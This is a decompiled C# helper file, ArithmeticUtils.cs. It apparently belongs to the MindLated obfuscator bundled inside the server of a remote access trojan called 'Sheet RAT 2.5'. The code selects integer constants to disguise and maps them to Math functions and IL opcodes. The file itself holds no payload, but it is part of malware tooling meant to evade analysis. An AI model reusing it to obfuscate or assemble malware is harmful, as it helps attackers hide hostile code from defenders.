sheet-rat/Server/MindLated/Protection/Arithmetic/Utils/ArithmeticUtils.cs

// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Utils.ArithmeticUtils
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe

using dnlib.DotNet.Emit;
using System;
using System.Windows.Forms;
using System.Reflection;

//#nullable disable
namespace MindLated.Protection.Arithmetic.Utils {

public static class ArithmeticUtils
{
  public static bool CheckArithmetic(Instruction instruction)
  {
    return instruction.IsLdcI4() && instruction.GetLdcI4Value() != 1 && instruction.GetLdcI4Value() != 0;
  }

  public static double GetY(double x) => x / 2.0;

  public static MethodInfo GetMethod(ArithmeticTypes mathType)
  {
    switch (mathType)
    {
      case ArithmeticTypes.Abs:
        return typeof (Math).GetMethod("Abs", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Log:
        return typeof (Math).GetMethod("Log", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Log10:
        return typeof (Math).GetMethod("Log10", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Sin:
        return typeof (Math).GetMethod("Sin", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Cos:
        return typeof (Math).GetMethod("Cos", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Round:
        return typeof (Math).GetMethod("Round", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Sqrt:
        return typeof (Math).GetMethod("Sqrt", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Ceiling:
        return typeof (Math).GetMethod("Ceiling", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Floor:
        return typeof (Math).GetMethod("Floor", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Tan:
        return typeof (Math).GetMethod("Tan", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Tanh:
        return typeof (Math).GetMethod("Tanh", new Type[1]
        {
          typeof (double)
        });
      case ArithmeticTypes.Truncate:
        return typeof (Math).GetMethod("Truncate", new Type[1]
        {
          typeof (double)
        });
      default:
        return (MethodInfo) null;
    }
  }

  public static OpCode GetOpCode(ArithmeticTypes arithmetic)
  {
    if (arithmetic == ArithmeticTypes.Add)
      return OpCodes.Add;
    return arithmetic == ArithmeticTypes.Sub ? OpCodes.Sub : (OpCode) null;
  }
}
}